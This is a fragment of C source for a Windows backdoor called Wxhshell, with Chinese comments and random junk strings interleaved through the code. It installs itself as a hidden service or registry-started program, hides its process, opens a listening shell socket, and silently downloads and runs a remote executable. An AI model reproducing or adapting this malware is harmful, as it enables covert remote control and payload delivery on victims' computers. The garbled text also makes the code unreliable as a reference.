'W++tH= if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); An"</;HU xScLVt<\e CloseHandle(hProcess); yXF?H"h( zN@}
#Hk if(strstr(procName,"services")) return 1; // 以服务启动 7Kal"Ew _m'Fr
7 return 0; // 注册表启动 r{ef .^&: } ~ZhraSI)G Hp|_6hO 2 // 主模块 4 G-wd int StartWxhshell(LPSTR lpCmdLine) "a"]o { -VTkG]{`Ir SOCKET wsl; #=f?0UTA BOOL val=TRUE; >wBJy4: int port=0; V=V:SlS9| struct sockaddr_in door; (?{MEwHG Q[I=T& if(wscfg.ws_autoins) Install(); j|%HIF25 ); dT_ port=atoi(lpCmdLine); b e-~\ @ jvFTR'R)= if(port<=0) port=wscfg.ws_port; M:3h e vIwCJN1C WSADATA data; :1^R9yWA4 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A"D,Kg
S b7tOo7a H) if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; )'%$V%9 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [4C:r! door.sin_family = AF_INET; [uls8
"^/j door.sin_addr.s_addr = inet_addr("127.0.0.1"); u1PaHgi$ door.sin_port = htons(port); ,%Up0Rr, &PK\|\\2 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q|L9gz[? closesocket(wsl); :8+Ni d) return 1;
1/-43B } )ZqJh #w-xBM
@ if(listen(wsl,2) == INVALID_SOCKET) { *nsAgGKKM^ closesocket(wsl); O1*NzY0Y%- return 1; )>-ibf`#? } K7Wk6Aw Wxhshell(wsl); G\r?f& WSACleanup(); H&
Ca`B "D=P8X&vs return 0; '-b*EZU8t zs*L~_K } $K'|0 EEZw_ 1 // 以NT服务方式启动 Yf~{I-|`q VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @kU@N?5e { aj,T)oDbt6 DWORD status = 0; I=9!Rs(QF DWORD specificError = 0xfffffff; +d!v}aJ %\r!7@Q serviceStatus.dwServiceType = SERVICE_WIN32; ez!C? serviceStatus.dwCurrentState = SERVICE_START_PENDING; 8o0%@5M serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 09kt[
serviceStatus.dwWin32ExitCode = 0; h!:~f-@j4 serviceStatus.dwServiceSpecificExitCode = 0; hk;7:G serviceStatus.dwCheckPoint = 0; (BfgwC) serviceStatus.dwWaitHint = 0; /2Bi@syxK S"k*6U hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'hv k if (hServiceStatusHandle==0) return; qt^T6+faaQ ZMLg;-T.&4 status = GetLastError(); 5-0{+R5v if (status!=NO_ERROR) jSuL5|Gui { cEd+MCN serviceStatus.dwCurrentState = SERVICE_STOPPED; 9n5<]Q( serviceStatus.dwCheckPoint = 0; 2hQ>: serviceStatus.dwWaitHint = 0; B0!"A serviceStatus.dwWin32ExitCode = status; mzc
4/<th serviceStatus.dwServiceSpecificExitCode = specificError; `o?Ph&p} SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1=a>f"cyf return; +_xOLiu
} 1`9xIm*9w !i%"7tQ3$ serviceStatus.dwCurrentState = SERVICE_RUNNING; UaV iI/ks serviceStatus.dwCheckPoint = 0; {TRsd serviceStatus.dwWaitHint = 0; z)=+ F] if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); XNb ZNaAd } F.=Bnw/- RxN,^!OV // 处理NT服务事件,比如:启动、停止 u% n*gcY VOID WINAPI NTServiceHandler(DWORD fdwControl) b-*3 2Y% { ^ Dt#$Z switch(fdwControl) lmSo8/%T { \3jW~FV case SERVICE_CONTROL_STOP: 9{8GP serviceStatus.dwWin32ExitCode = 0; $gM8{.! serviceStatus.dwCurrentState = SERVICE_STOPPED; <K4,7J$}h serviceStatus.dwCheckPoint = 0; ?8mlZ
X9C serviceStatus.dwWaitHint = 0; U}l14 { zf>5,k'x'A SetServiceStatus(hServiceStatusHandle, &serviceStatus); FwZ>{~?3 } 5W@jfh) return; v[n7" case SERVICE_CONTROL_PAUSE: D.6,VY H serviceStatus.dwCurrentState = SERVICE_PAUSED; -+em!g' break; 'EfR|7m case SERVICE_CONTROL_CONTINUE: hy T1xa serviceStatus.dwCurrentState = SERVICE_RUNNING; k8uvNLA)a break; {E0z@D)U- case SERVICE_CONTROL_INTERROGATE: 5pRV3K{H break; j]m|7] }; ed_FiQd SetServiceStatus(hServiceStatusHandle, &serviceStatus); TSsKfexQ } mTEx,
.pvV1JA' // 标准应用程序主函数 {Pu\?Cq int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wgRsZ { T}=>C+3r awUx=%ERtA // 获取操作系统版本 = }:)y0L OsIsNt=GetOsVer(); BMIyskl=i GetModuleFileName(NULL,ExeFile,MAX_PATH); @IP)S[^' t I;?X f // 从命令行安装 y{a$y}7#X if(strpbrk(lpCmdLine,"iI")) Install(); .+([ ^+9sG$T_EV // 下载执行文件 3u\;j; Td! if(wscfg.ws_downexe) { iIGbHn,/ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d@3}U6, WinExec(wscfg.ws_filenam,SW_HIDE); ]}6w#)]" } ZB[Qs s{4 \xAS> if(!OsIsNt) { :aIN9; // 如果时win9x,隐藏进程并且设置为注册表启动 on7I
l HideProc(); oq_6L\
~ StartWxhshell(lpCmdLine); EIf~dOgH } \OpoBXh else *I?Eb-!t if(StartFromService()) T4;T6 9j;, // 以服务方式启动 _ZAch zV StartServiceCtrlDispatcher(DispatchTable); ;|cTHGxbE else nD2,!71
// 普通方式启动 Wi}FY }f StartWxhshell(lpCmdLine); 9cv]y# j9/-"dTL return 0; 1lnU77; }
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